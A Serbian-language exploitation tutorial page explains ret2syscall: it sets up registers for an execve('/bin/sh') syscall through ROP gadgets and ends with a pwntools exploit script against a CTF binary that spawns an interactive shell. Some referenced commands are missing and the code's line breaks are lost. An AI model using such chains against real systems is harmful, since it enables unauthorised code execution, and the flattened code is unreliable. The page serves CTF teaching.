Ret2syscall
Ret2syscall
Osnovne informacije
Ovo je slično kao Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno da pozove syscall sys_execve
sa nekim argumentima kako bi izvršio /bin/sh
. Ova tehnika se obično izvodi na binarnim fajlovima koji su statički kompajlirani, tako da može biti puno gedžeta i instrukcija syscall-a.
Da bismo pripremili poziv za syscall potrebna je sledeća konfiguracija:
rax: 59 Specificira sys_execve
rdi: ptr ka "/bin/sh" specificira fajl za izvršenje
rsi: 0 specificira da nema prosleđenih argumenata
rdx: 0 specificira da nema prosleđenih promenljivih okruženja
Dakle, u osnovi je potrebno napisati string /bin/sh
negde i zatim izvršiti syscall
(imajući na umu potrebno poravnanje za kontrolu steka). Za ovo nam je potreban gedžet da napiše /bin/sh
na poznatom mestu.
Još jedan interesantan syscall za pozivanje je mprotect
koji bi omogućio napadaču da modifikuje dozvole stranice u memoriji. Ovo se može kombinovati sa ret2shellcode.
Gedžeti za registre
Hajde da počnemo sa pronalaženjem kako kontrolisati te registre:
Sa ovim adresama je moguće upisati sadržaj na stek i učitati ga u registre.
Upisivanje stringa
Upisivačka memorija
Prvo morate pronaći mesto za pisanje u memoriji
Upisivanje stringa u memoriju
Zatim morate pronaći način da upišete proizvoljni sadržaj na ovu adresu
Automatizuj ROP lanac
Sledeća komanda kreira potpuni sys_execve
ROP lanac za statički binarni fajl kada postoje uređaji za pisanje-šta-gde i instrukcije za sistemski poziv:
32 bita
64 bita
Nedostajući uređaji
Ako vam nedostaju uređaji, na primer za pisanje /bin/sh
u memoriji, možete koristiti SROP tehniku za kontrolu svih vrednosti registara (uključujući RIP i parametre registara) sa steka:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated